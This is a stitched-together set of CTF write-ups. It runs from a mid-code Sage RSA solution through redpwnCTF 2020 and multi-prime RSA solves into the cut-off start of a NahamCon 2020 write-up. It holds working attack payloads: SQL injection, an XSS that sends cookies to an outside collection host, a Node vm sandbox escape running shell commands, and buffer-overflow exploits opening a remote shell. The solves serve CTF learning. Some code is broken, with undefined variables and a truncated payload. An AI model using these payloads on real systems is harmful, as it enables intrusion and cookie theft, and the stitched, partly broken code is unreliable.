1582973058630839374201016845587895187514184456338711562603058389464647564354857518185777707067534352738422221243872621546790913024035141210308751808035033403508675800690418168791480677811439800763140381805978683017343728549585793044134326450180108362717333856096542671222448578734360169509953605279750835886609990527940475390984025731644580342531087058939615733750763498609323959035000197342557541691877906461534234845751849332481544519994911904816124667302855836989182149196400290405533457661829694605590638144618216311896644287846360917369054788425992163463639937794227562814960298002860709306544428349686311404972, 8388015083753817396404634498682833124836683671660485453889705362279160874113976096738153723449169481885447222156217427509343858332778149307460784057788816852773238473735797196152562925262109386268377005832211979197341745235152950815021307336600058594016692701569536560183900809315167001507909905778241359207806264218465274232258300488042841612249765945741085272980647205313951530101418826813096576267892094467521521388407855400694081878769903840814458560849614556706982030343107427070128171143229655593040437235274621132018338475980754222081676543951773645671723305719447701663871222424115036651254625522300007239701, 10360941377589999022884694845551237952313651488092752234649767575644201444852340084975112554641538017252967970972957403469841755927828786235277889366377352903779354009188274474957839495808036815048488352099199171067353370582233123062854270327278611899110567041211285835664193384275654396217606545976221188607145656891324513369162209324704100876407219674076329493105327684033551137582360182876805940184081838609222513710457511996697851978083979112522791428711457760414078438660045777781768019100868178746924945090206469745588225371455309918653370882043866832570514299530747286071108672487459805604889856610219366804014, 8161901277931264917118321806438891982202459388170964941292783162817780535249918112011362767977501016796186950982925784123055737546728140139002974376577736078814455520715324277366410323589568459000202785717062704689299805792262230045704532890430228890170828537204236829122606564459083180369744253692448209028566213795360522127608792223090436338427386950676480928525972254897349872989084292693044025672191209560017949683042024981585613220102151330914603710629813105622440218241644321683880490890195924490483901102869498497598949099879463304286519916279176791887333598605029626783283403707240923608501706742364927375755, 3782934195580492970180553866690449168010554186676222377418642624082619622859185723632805913731884871238511062871897434982104311875969090082587357096919684332126026810464696214804435658699124624221912695831411261021231266007249592961038454862818925502558482993002316735563151406299564849453648995738323003174425196603882980739318361661030203486760444364981054604720894314579655693051996596948056646567854867442593477678298818302489675363637454575898939148670286200131667117694840159071023352805842073218091565232974675345213769255012314089478053043859999354934245816908321254655470259685403484121721732410179071909610, 4114288597820022391125749188593027331026351039891222488536665213535380955042348711292928818299649797254047980414924488507472673794895383345342755166338719529629024257899708879765175623019868958302420946489389732849538793053839443691183813115596740255056419155265900578687105616665757027809606575582356555742146088792494391267341885803290264524421594020107904982737546075821190809550246387205502119648498927900788485223892423569470562773532097508386244730162864877944588432760249428477514334185668405238153761731850875748256603557178354672438459988042032562814329971608812515437635295411468449565452675942774316206013, 2468727754756925819726861736190593621570046070871578606388696474245120115522326636693130800754080546162785192842832459057836867341368082934906260069239112961361692674650208597082199887350150839030058646994785607426625727970227499607119891164624551142853858271042540511609618146084904175770636709162032909941429219734872961413193822705315842015365285572086085647286208340120868212089861253380516987189869290785143340973734685089531458054028129325141655075320282438433328071745815943438030050163239166494145939144788889434940446857879823966791075081816156226809238767119154957534729526282707918484809620959504025510233, 5041583120384178574754510543688981082040786059980378870869528517432482880646412362035353568647325910788836773038302206401235636240338444958835100646705735328715604610231176333303643765405591811730634011257239004081881887737235628184117405520828122129872518662873327501243198817273583721212234131948724805119027093899639285588119846447228534563699931022861687089824617389295935458023549482716471562995496035039971509002778768230183266163952750352979536005821487905338801933287628096411437854970267226157338195424655395101974161257085648280057846927918950024081038726269481291665731476455018934720255596968609432126352, 3629978873963365713741293889261126305566884657878540878807380681141546011975570214362542948053419920414211144704219306412388357870720062302195338375316408028635651420973098109381976668448344851960334653995430945714115093796939197394543028081942953296541913643405709442447842078969949410043830044362615696580259777410007066198762944292291103029467510065924722224906549577127621285748840752548745135992723308600452185065036513480583509838475010347800214539512382370509794246452027711110224397889694036954365109376074293882446509512060824628361627195391124064476003663926265210359146847719930722568319452002284036846095, 7465884946864808816280400983921745652219229053919294972054563236224428084190170532445027972732697684793483179410804714564309726525353029932194842972851055112308571160969547308519376170012231811908010956339028345397423670664169287743638878450295116145909956614915931329721502899329483097078852781221245827712109449889486791334663673535144850500434760842655687896533350254346795876458494274878983729112135056763392168367015761802196298757300377011202516526172245534298113864704724948443444040718818888904140779015377662182720446432451484939660097067723388289241439328930611237639471279028828354169293414805986615310310, 1896910503688876953851471739495515353616939763519846984235526999312399689704270907725479920101085014190640303842672895668870303047421243574875601258804726531297952143528558019763378508736919158794601838339326290559343520786726493370550654638242868555375944685955808937052985027827276567300966879391153835453735899337934408695318353937022427261586766741412834930980512461948246300668891525818750373781239103216659049912060640276786074091742421383051496962688122891703418558216856523195689253840489810912141843001096981004337323881864785544633182926762250336752052350749110334631434144787663360833417650963944585434582] y = 136437248584749771882310599149278388531535057166399265926387706469408766646754256272579824944594286947565201090386154252642859489386692473805411897253949013507330688499956189228793511815053892879974238599863038816313198964134947169977378713887483007849103288310288698573564963610808423262228756458677190730145N = 15208002172852064705513549049156125156229213752159018163825621612365155017442357321243997240694068589814280403280924059115680689958405528673283969584726875025903837971544565855345730100919461985993701827484692130096087415066915297046298354141978649627535608324891962634115164448150854962245168416609362554295547467846154568712738134639516660184864893586000423886731114509172379025554849606702807764604046562890333894888196970691461892191718079065215120535321387122435702257687877333759869565354852332910433540118176537491958544695956496612702255403127864825597702515541366203734967406176296928067151309367243599261047 # =============================================# Solution# ============================================= max_flag = 400lower_mask = 496known_upper = (1024 - max_flag - lower_mask)upper_mask = (1024 - known_upper)known_bits = lower_mask+known_upper MSB = y & (((1 << upper_mask) - 1) << upper_mask)LSB = y & ((1 << lower_mask) - 1) print(f'known number of bits = {known_bits}')print('Finding roots..') PR.<x> = PolynomialRing(Zmod(N)) r = 1 << (lower_mask)ir = inverse_mod(r, N) f = x + (MSB + LSB) * irroots = f.small_roots(X=2^(1024 - known_bits), beta=0.45, epsilon=1/64)if roots: root = int(roots[0]) kalpha = root + (msb_part + lsb_part) * ir alpha = gcd(N, kalpha) assert alpha != 1, "Fail" assert alpha != N, "Fail" print(alpha) # alpha = 136437248584749771882310599149278388531535057166399265926387706469408766646754256272579824337507311270141846388413460068357591608585943215991636909883491826121544218636098300792976192313647146944748229438407801334865956608317244973051161890353895660399085055691697783021603089766899505767068206163163800347041 flag_second = long_to_bytes(alpha ^^ y).decode() bin_flag = ''for e in encrypted: if kronecker(e,alpha) == 1: bin_flag += '0' else: bin_flag += '1' flag_first = long_to_bytes(int(bin_flag,2)).decode()print(flag_first + flag_second) # flag{y0u_f0und_m0re_th4n_s3cr3ts.....th3_fl4g_1ts3lf!!!!}```
In this chall, key and the plaintext are encoded with the same function i.e. encrypt. To get plaintext, first we have to recover key. We know that each character i of the key is modified to (i+i)%26. So, for every character of the pseudo-key there are two possibilities.Manually getting all the possibilities. ['e', 'r'], ['e', 'r'], ['d', 'q'], ['c', 'p'], ['j', 'w'], ['j', 'w'], ['j', 'w'], ['a'], ['c', 'p'], ['g', 't'], ['f', 's'] First I thought of bruteforcing all the keys with those characters, but luckily saw somehing in the key that first few characters are forming 'redpw' and last few characters forms 'ctf'. So, we just have to bruteforce only 2 characters.Let's try with key="redpwwwactf"```from string import ascii_lowercasechr_to_num = {c: i for i, c in enumerate(ascii_lowercase)}num_to_chr = {i: c for i, c in enumerate(ascii_lowercase)}ct= "z_jjaoo_rljlhr_gauf_twv_shaqzb_ljtyut"pk= "iigesssaemk"def decrypt(ctxt, key): for i in range(len(ct)): key = ''.join(key[i % len(key)] for i in range(len(ctxt))) ptxt = '' for i in range(len(ctxt)): if ctxt[i] == '_': ptxt += '_' continue x = chr_to_num[ctxt[i]] y = chr_to_num[key[i]] ptxt += num_to_chr[(x - y +26) % 26] return ptxt key="redpwwwactf"print(decrypt(ct, key))```Running the script will give us: i_guess_pseudo_keyf_are_pseudb_secureI fixed some chracters and submitted: flag{i_guess_pseudo_keys_are_pseudo_secure}
Table of contents- [Web](#web) - [inspector-general](#inspector-general) - [login](#login) - [static-pastebin](#static-pastebin) - [panda-facts](#panda-facts)- [Crypto](#crypto) - [base646464](#base646464)- [Misc](#misc) - [ugly-bash](#ugly-bash) - [CaaSiNO](#caasino)- [Rev](#rev) - [ropes](#ropes)- [Pwn](#pwn) - [coffer-overflow-0](#coffer-overflow-0) - [coffer-overflow-1](#coffer-overflow-1) # Web## inspector-generalPoints: 113#### Description>My friend made a new webpage, can you find a flag?### SolutionAs the name of the challenge suggests, we need to inspect the given site for getting the flag. The flag can be found on /ctfs page. ![image](https://user-images.githubusercontent.com/38787278/85252999-e121b280-b465-11ea-9986-74a9da4cc188.png) Flag: flag{1nspector_g3n3ral_at_w0rk} ## loginPoints: 161#### Description>I made a cool login page. I bet you can't get in!>>Site: login.2020.redpwnc.tf ### SolutionThe web page shows a login form. When we try to login an AJAX call is made to `/api/flag` with the credentials. We are also given the source file of the login page.From the code we can see that this is prone to SQL injection. ```javascript let result; try { result = db.prepare(`SELECT * FROM users WHERE username = '${username}' AND password = '${password}';`).get(); } catch (error) { res.json({ success: false, error: "There was a problem." }); res.end(); return; } if (result) { res.json({ success: true, flag: process.env.FLAG }); res.end(); return; }``` Moving to Burp, I first tried `admin' or 1=1 #`/`admin`. This generated an error, which is good. I replace `#` with `--` and I got the flag. Afterwards I saw that the db used is `sqlite3`. ![image](https://user-images.githubusercontent.com/38787278/85321314-2f1dd100-b4cd-11ea-9d22-7fbae7a11415.png) Flag: flag{0bl1g4t0ry_5ql1} ## static-pastebinPoints: 413#### Description>I wanted to make a website to store bits of text, but I don't have any experience with web development. However, I realized that I don't need any! If you experience any issues, make a paste and send it [here](#https://admin-bot.redpwnc.tf/submit?challenge=static-pastebin) >Site: [static-pastebin.2020.redpwnc.tf](#https://static-pastebin.2020.redpwnc.tf/) ### SolutionThere are two sites for this challenge: one from which we will generate an URL and the second one where we will paste the URL so that a bot can access it. ![image](https://user-images.githubusercontent.com/38787278/85327591-e881a400-b4d7-11ea-9a39-16e6cc58aede.png) Let's take a look at the js file of this page. ```javascript(async () => { await new Promise((resolve) => { window.addEventListener('load', resolve); }); const button = document.getElementById('button'); button.addEventListener('click', () => { const text = document.getElementById('text'); window.location = 'paste/#' + btoa(text.value); });})();``` So when hitting the `Create` button the value inside the textarea will be base64 encoded and we'll be redirected to `paste/#base64string`. Inserting `testing` we are redirected to `https://static-pastebin.2020.redpwnc.tf/paste/#dGVzdGluZw==`. Here we can see that the page displayed our text. Nice. It seems that we'll try to do a XSS attack. ![image](https://user-images.githubusercontent.com/38787278/85328355-46fb5200-b4d9-11ea-9f04-4fc3619e30c5.png) Let's take a look at the javascript code that handles this. ```javascript(async () => { await new Promise((resolve) => { window.addEventListener('load', resolve); }); const content = window.location.hash.substring(1); display(atob(content));})(); function display(input) { document.getElementById('paste').innerHTML = clean(input);} function clean(input) { let brackets = 0; let result = ''; for (let i = 0; i < input.length; i++) { const current = input.charAt(i); if (current == '<') { brackets ++; } if (brackets == 0) { result += current; } if (current == '>') { brackets --; } } return result}``` We can see that the base64 value from URL is decoded(using `atob`) and somewhat sanitized(by `clean`). Looking at the implementation of `clean()` we can see that as long as we keep the value of `brackets` 0 our input will go into the page. Trying `>` displayed us an alert, so we're on the right track. As long as we don't insert any additional `<` or `>` we can write anything as payload. I started a flow in [Pipedream](https://pipedream.com) that will intercept any request coming. I entered the link to my pipedream in the second site so check if the bot visits the link. ![image](https://user-images.githubusercontent.com/38787278/85329696-aeb29c80-b4db-11ea-8db6-259714c1b4c2.png) I also got an event on the pipedream so all we need to do now is to steal the bot's cookie. Final payload: `>` This will generate the next link: `https://static-pastebin.2020.redpwnc.tf/paste#PjxpbWcgc3JjIG9uZXJyb3I9ImxldCB4PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbignUE9TVCcsJ2h0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldCcsIHRydWUpO3guc2VuZChkb2N1bWVudC5jb29raWUpIi8+Cg==` After pasting the link in the second site we get the flag. ![image](https://user-images.githubusercontent.com/38787278/85329981-339db600-b4dc-11ea-88f7-5411aefea9b3.png) Trying to get the flag by a GET method will not work because of the characters of the flag. You have to encode first with something like `btoa`. Flag: flag{54n1t1z4t10n_k1nd4_h4rd} ## panda-factsPoints: 420#### Description>I just found a hate group targeting my favorite animal. Can you try and find their secrets? We gotta take them down!>>Site: panda-facts.2020.redpwnc.tf ### SolutionThe webpage exposes a form where you enter an username and afterwards you receive an encrypted token. The decrypted value is a json with the next fields:```json{"integrity":"${INTEGRITY}","member":0,"username":"your-username"}```We can get the flag if we are a member. Since only control the username, we have to forge the token. Let's take a look at the encryption and decryption function.```javascriptasync function generateToken(username) { const algorithm = 'aes-192-cbc'; const key = Buffer.from(process.env.KEY, 'hex'); // Predictable IV doesn't matter here const iv = Buffer.alloc(16, 0); const cipher = crypto.createCipheriv(algorithm, key, iv); const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}` let encrypted = ''; encrypted += cipher.update(token, 'utf8', 'base64'); encrypted += cipher.final('base64'); return encrypted;} async function decodeToken(encrypted) { const algorithm = 'aes-192-cbc'; const key = Buffer.from(process.env.KEY, 'hex'); // Predictable IV doesn't matter here const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv(algorithm, key, iv); let decrypted = ''; try { decrypted += decipher.update(encrypted, 'base64', 'utf8'); decrypted += decipher.final('utf8'); } catch (error) { return false; } let res; try { res = JSON.parse(decrypted); } catch (error) { console.log(error); return false; } if (res.integrity !== INTEGRITY) { return false; } return res;}```The function that get us the flag:```javascriptapp.get('/api/flag', async (req, res) => { if (!req.cookies.token || typeof req.cookies.token !== 'string') { res.json({success: false, error: 'Invalid token'}); res.end(); return; } const result = await decodeToken(req.cookies.token); if (!result) { res.json({success: false, error: 'Invalid token'}); res.end(); return; } if (!result.member) { res.json({success: false, error: 'You are not a member'}); res.end(); return; } res.json({success: true, flag: process.env.FLAG});});``` The vulnerability is in the generation of the token. The username is inserted inside the string:```javascriptconst token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}````We can inject a payload that will overwrite the `member` property. This happens because `JSON.parse()` will take the last occurrence of the property in consideration. Providing the payload `a","member":1,"a":"` will be concatenating into `{"integrity":"12370cc0f387730fb3f273e4d46a94e5","member":0,"username":"a","member":1,"a":""}`. After decryption, when it will be parsed, the `member` will be 1 and we get the flag. ![image](https://user-images.githubusercontent.com/38787278/85615444-e6008500-b664-11ea-868e-c510d8b43e9f.png) Flag: flag{1_c4nt_f1nd_4_g00d_p4nd4_pun} # Crypto## base646464Points: 148#### Description>Encoding something multiple times makes it exponentially more secure! ### SolutionWe get two files. A text file (`cipher.txt`) with a long string that seems to be base64 encoded and a js file that contains the code used for encoding, as you can see below. ```javascriptconst btoa = str => Buffer.from(str).toString('base64'); const fs = require("fs");const flag = fs.readFileSync("flag.txt", "utf8").trim(); let ret = flag;for(let i = 0; i < 25; i++) ret = btoa(ret); fs.writeFileSync("cipher.txt", ret);``` So, it seems that the content of `flag.txt` was base64 encoded 25 times. Let's try to decode that with the next code. ```javascriptconst fs = require("fs");const encodedFlag = fs.readFileSync("cipher.txt", "utf8");let decodedStr = encodedFlag; for(let i = 0; i < 25; i++) { decodedStr = Buffer.from(decodedStr, 'base64').toString('ascii');} console.log(decodedStr);``` Flag: flag{l00ks_l1ke_a_l0t_of_64s} # Misc## ugly-bashPoints: 378#### Description>This bash script evaluates to `echo dont just run it, dummy # flag{...}` where the flag is in the comments.>>The comment won't be visible if you just execute the script. How can you mess with bash to get the value right before it executes?>>Enjoy the intro misc chal. We get a file with obfuscate bash, ~5000 characters. If we run it prints `dont just run it, dummy`. A part from the start of the code: ```bash${*%c-dFqjfo} e$'\u0076'al "$( ${*%%Q+n\{} "${@~}" $'\160'r""$'\151'$@nt"f" %s ' }~~@{$ ") }La?cc87J``` I looked over an deobfucating tool, but I didn't find anything, but I read that it can be deobfucated easily by `echo`-ing the script before eecuting. So, that's what I did. Running `echo ${*%c-dFqjfo} e$'\u0076'al "$( ${*%%Q+n\{} ...` made things more visible: ```basheval "$@" "${@//.WS1=|}" $BASH ${*%%Y#0C} ${*,,} <<< "$( E6YbzJ=( "${@,}" f "${@}"``` Now it's clear that the result of whatever is executed in the right of the `<<<` is passed as input to what's on the left of it. Echo-ing the left part: ```basheval /usr/bin/bash```Echo-ing the right side got me an error so I tried to just execute it and I got the flag:```bashecho dont just run it, dummy # flag{us3_zsh,_dummy}: command not found```Flag: flag{us3_zsh,_dummy} ## CaaSiNOPoints: 416#### Description>Who needs regex for sanitization when we have VMs?!?!>>The flag is at /ctf/flag.txt>>nc 2020.redpwnc.tf 31273### SolutionBeside the connection endpoint we also get the source code:```javascriptconst vm = require('vm')const readline = require('readline') const rl = readline.createInterface({ input: process.stdin, output: process.stdout}) process.stdout.write('Welcome to my Calculator-as-a-Service (CaaS)!\n')process.stdout.write('This calculator lets you use the full power of Javascript for\n')process.stdout.write('your computations! Try `Math.log(Math.expm1(5) + 1)`\n')process.stdout.write('Type q to exit.\n')rl.prompt()rl.addListener('line', (input) => { if (input === 'q') { process.exit(0) } else { try { const result = vm.runInNewContext(input) process.stdout.write(result + '\n') } catch { process.stdout.write('An error occurred.\n') } rl.prompt() }})```So, we pass javascript commands and those commands are executed in a separate context using the node.js `vm` module. No filtering is applied so our goal is to evade from the context created in `vm.runInNewContext` and get the flag. Searching, one of the firsts articles that popped-up was [Sandboxing NodeJS is hard, here is why](https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html), which had all the information needed for completing the challenge. The payload described there, also the one that I used, is leveraging the use of the `this` keyword. The keyword accesses the instance of the parent object, in this case, it's the context of the object outside of the `vm.runInNewContext`. Now that we can escape from that, we want to get the `process` of the parent object so that we can execute our command. We can do this by accessing the constructor property of the parent object, from which we can run the constructor function that will return the process that we want. Up until now we have: `this.constructor.constructor('return this.process')()`. Good. Now, using the returned value, we can execute commands. Final payload: ```javascriptthis.constructor.constructor('return this.process')().mainModule.require('child_process').execSync('cat /ctf/flag.txt').toString()```![image](https://user-images.githubusercontent.com/38787278/85459786-3ddab580-b5ab-11ea-9168-88fb268a9ca5.png) Flag: flag{vm_1snt_s4f3_4ft3r_41l_29ka5sqD} # Rev## ropesPoints: 130#### Description>It's not just a string, it's a rope! ### SolutionWe get a file called `ropes`. We get the flag quickly by running `strings` on it. ![image](https://user-images.githubusercontent.com/38787278/85454723-dff79f00-b5a5-11ea-81e6-80cc74f11d51.png) Flag: flag{r0pes_ar3_just_l0ng_str1ngs} # Pwn## coffer-overflow-0Points: 181#### Description>Can you fill up the coffers? We even managed to find the source for you.>>nc 2020.redpwnc.tf 31199### SolutionWe get an executable and its source file:```c#include <stdio.h>#include <string.h> int main(void){ long code = 0; char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); if(code != 0) { system("/bin/sh"); }}``` It's clear that we have an buffer overflow on `name` and by overflowing it we will overwrite the `code` variable, and that will get us a shell.Payload: `AAAABBBBCCCCDDDDEEEEFFFFG` ![image](https://user-images.githubusercontent.com/38787278/85518521-fd118980-b608-11ea-9517-25907161fabe.png) Flag: flag{b0ffer_0verf10w_3asy_as_123} # Pwn## coffer-overflow-1Points: 284#### Description>The coffers keep getting stronger! You'll need to use the source, Luke. >nc 2020.redpwnc.tf 31255### SolutionWe get an executable and it's source code:```c#include <stdio.h>#include <string.h> int main(void){ long code = 0; char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); if(code == 0xcafebabe) { system("/bin/sh"); }}``` We can see that there's a buffer overflow vulnerability on `gets(name)`, but in order to get the a shell we need to overwrite the value from `code` to be `0xcafebabe`. We can fill the `name` buffer with `AAAABBBBCCCCDDDDEEEEFFFF` and everything we add from here it will get into `code`. Just adding `/xca/xfe/xba/xbe` won't work, we have to provide the bytes as little endian. We'll get shell using the `pwn` module and sending the payload as it follows:```pythonimport pwn con = pwn.remote('2020.redpwnc.tf', 31255) con.recv()con.recv() exploit = b'AAAABBBBCCCCDDDDEEEEFFFF' + pwn.p32(0xcafebabe)con.sendline(exploit) con.sendline('ls')ls = con.recv()print(ls) if b'flag.txt' in ls: con.sendline('cat flag.txt') print(con.recv().decode('utf-8')) con.close()``` `pwn.p32(0xcafebabex)` will make our payload to work for little endian. ![image](https://user-images.githubusercontent.com/38787278/85772996-12300a80-b726-11ea-9244-667d28056f17.png) Flag: flag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}
Challenge is basically multi-prime RSA with a poor key generation. Solution is based on the search for primes in vicinity of 3rd root of `n` based on the flawed `prime_gen()` key generation function. ---- `solve.py`: ```py#!/usr/bin/env python2 import sys try: from sympy import integer_nthroot, mod_inverse, igcd, isprimeexcept ImportError: exit("[x] sudo pip install sympy") def find_next_prime(n): if n <= 1: return 2 elif n == 2: return 3 else: if n % 2 == 0: n += 1 else: n += 2 while not isprime(n): n += 2 return n n = 2739699434633097765008468371124644741923408864896396205946954196101304653772173210372608955799251139999322976228678445908704975780068946332615022064030241384638601426716056067126300711933438732265846838735860353259574129074615298010047322960704972157930663061480726566962254887144927753449042590678730779046154516549667611603792754880414526688217305247008627664864637891883902537649625488225238118503996674292057904635593729208703096877231276911845233833770015093213639131244386867600956112884383105437861665666273910566732634878464610789895607273567372933766243229798663389032807187003756226177111720510187664096691560511459141773632683383938152396711991246874813205614169161561906148974478519987935950318569760474249427787310865749167740917232799538099494710964837536211535351200520324575676987080484141561336505103872809932354748531675934527453231255132361489570816639925234935907741385330442961877410196615649696508210921e = 65537c = 2082926013138674164997791605512226759362824531322433048281306983526001801581956788909408046338065370689701410862433705395338736589120086871506362760060657440410056869674907314204346790554619655855805666327905912762300412323371126871463045993946331927129882715778396764969311565407104426500284824495461252591576672989633930916837016411523983491364869137945678029616541477271287052575817523864089061675401543733151180624855361245733039022140321494471318934716652758163593956711915212195328671373739342124211743835858897895276513396783328942978903764790088495033176253777832808572717335076829539988337505582696026111326821783912902713222712310343791755341823415393931813610365987465739339849380173805882522026704474308541271732478035913770922189429089852921985416202844838873352090355685075965831663443962706473737852392107876993485163981653038588544562512597409585410384189546449890975409183661424334789750460016306977673969147 primes = []current = integer_nthroot(n, 3)[0] - 500 # Note: arbitrary value used to cover the primes in vicinity of 3rd root of n print "[i] Searching for candidates in vicinity of nthroot(n, 3): ", while len(primes) < 2: # Note: searching at least two divisor primes in vicinity current = find_next_prime(current) candidate = igcd(current, n) if candidate > 1: primes.append(candidate) else: sys.stdout.write('.') sys.stdout.flush() primes.append(n // primes[0] // primes[1])p, q, r = sorted(primes) print "\n[i] Found p, q, r: %d, %d, %d" % (p, q, r) d = mod_inverse(e, (p - 1) * (q - 1) * (r - 1)) print "[i] Plaintext:", hex(pow(c, d, n))[2:-1].decode("hex")``` ---- Example output: ```$ python find_primes.py [i] Searching for candidates in vicinity of nthroot(n, 3): ..............................................................................................................................................................................[i] Found p, q, r: 139926822890670655977195962770726941986198973494425759476822219188316377933161673759394901805855617939978281385708941597117531007973713846772205166659227214187622925135931456526921198848312215276630974951050306344412865900075089120689559331322162952820292429725303619113876104177529039691490258588465409208581, 139926822890670655977195962770726941986198973494425759476822219188316377933161673759394901805855617939978281385708941597117531007973713846772205166659227214187622925135931456526921198848312215276630974951050306344412865900075089120689559331322162952820292429725303619113876104177529039691490258588465409397803, 139926822890670655977195962770726941986198973494425759476822219188316377933161673759394901805855617939978281385708941597117531007973713846772205166659227214187622925135931456526921198848312215276630974951050306344412865900075089120689559331322162952820292429725303619113876104177529039691490258588465409494847[i] Plaintext: flag{pr1m3_pr0x1m1ty_c4n_b3_v3ry_d4ng3r0u5}```
# **NahamCon CTF 2020** This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents * [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup ## Read The RulesPlease follow the rules for this CTF! Connect here:https://ctf.nahamcon.com/rules **flag{we_hope_you_enjoy_the_game}** **Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes: ![](assets//images//read_the_rules.png) ## CLIsaycowsay is hiding something from us! Download the file below. [clisay](assets//files/clisay) **flag{Y0u_c4n_r3Ad_M1nd5}** **Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get: ![](assets//images//clisay_1.png) well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag: ![](assets//images//clisay_2.png) notice that you need to append the two parts of the flag together (the strings after and before the ascii art). **Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format ## MetamemeHacker memes. So meta. Download the file below. [hackermeme.jpg](assets//images//hackermeme.jpg) **flag{N0t_7h3_4cTuaL_Cr3At0r}** **Solution:** With the challenge we get this image: ![hackermeme.jpg](assets//images//hackermeme.jpg) We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag: ![](assets//images//metameme.png) **Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool ## Mr. RobotElliot needs your help. You know what to do. Connect here:\http://jh2i.com:50032 **flag{welcome_to_robots.txt}** **Solution:** With the challenge we get a url to a website: ![](assets//images//mr_robot.png) There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag: ![](assets//images//mr_robot_2.png) **Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en ## UGGCBecome the admin! Connect here:\http://jh2i.com:50018 **flag{H4cK_aLL_7H3_C0okI3s}** **Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page: ![](assets//images//uggc.png) By the description we know that we need to login as admin, but if we try using admin as our username we get the following: ![](assets//images//uggc_2.png) But we can login with any other username: ![](assets//images//uggc_3.png) If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser: ![](assets//images//uggc_4.png) we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that: ![](assets//images//uggc_5.png) now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag: ![](assets//images//uggc_6.png) **Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/ ## Easy KeesyDang it, not again... Download the file below. [easy_keesy](assets//files//easy_keesy) **flag{jtr_found_the_keys_to_kingdom}** **Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database: ![](assets//images//easy_keesy.png) This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the 